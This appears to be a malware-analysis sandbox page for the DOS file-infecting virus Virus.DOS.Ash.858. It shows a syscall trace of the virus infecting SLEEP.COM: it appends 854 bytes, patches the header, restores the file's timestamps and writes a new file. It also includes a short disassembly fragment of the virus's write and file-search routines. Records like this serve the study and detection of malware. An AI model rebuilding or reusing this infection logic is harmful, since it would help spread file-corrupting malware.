Sample viewer

vx.netlux.org/Virus.DOS.Ash.858

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:48:42.733845331Z 26 PC: 12a99 | Set disk transfer address
2018-12-17T22:48:42.735474097Z 78 PC: 12aa5 | Find first file
2018-12-17T22:48:42.742762825Z 67 PC: 12ace | Get or set file attributes
2018-12-17T22:48:42.761043245Z 61 PC: 12ad5 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:48:42.769255624Z 63 PC: 12ae5 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:48:42.778341069Z 66 PC: 12af5 | Move file pointer
2018-12-17T22:48:42.78023574Z 64 PC: 12b12 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:48:42.783509319Z 44 PC: 12a6e | Get time 0x12a6e: mov word ptr [bp + 0x115], dx
0x12a72: call 0x22a57
0x12a75: mov ah, 0x40
0x12a77: mov cx, 0x356
0x12a7a: lea dx, word ptr [bp + 0x108]
0x12a7e: int 0x21
0x12a80: call 0x22a57
0x12a83: ret
0x12a84: lea si, word ptr [bp + 0x104]
0x12a88: mov di, 0x100
0x12a8b: mov cx, 4
0x12a8e: cld
0x12a8f: rep movsb byte ptr es:[di], byte ptr [si]
0x12a91: mov ah, 0x1a
0x12a93: lea dx, word ptr [bp + 0x45e]
0x12a97: int 0x21
0x12a99: mov ah, 0x4e
0x12a9b: lea dx, word ptr [bp + 0x25f]
0x12a9f: lea si, word ptr [bp + 0x47c]
0x12aa3: int 0x21
2018-12-17T22:48:42.787415552Z 64 PC: 12a80 | Write file or device (Write 854 bytes on handle 5)
2018-12-17T22:48:42.797415224Z 66 PC: 12b1e | Move file pointer
2018-12-17T22:48:42.799388953Z 64 PC: 12b3c | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:48:42.807812744Z 87 PC: 12b49 | Get or set file date and time
2018-12-17T22:48:42.810403833Z 62 PC: 12b4d | Close file
2018-12-17T22:48:42.819860012Z 67 PC: 12b5c | Get or set file attributes
2018-12-17T22:48:42.831769393Z 60 PC: 12b7c | Create or truncate file
2018-12-17T22:48:42.844598579Z 64 PC: 12b8a | Write file or device (Write 492 bytes on handle 5)
2018-12-17T22:48:42.849288099Z 62 PC: 12b8e | Close file
2018-12-17T22:48:42.858909634Z 26 PC: 12b95 | Set disk transfer address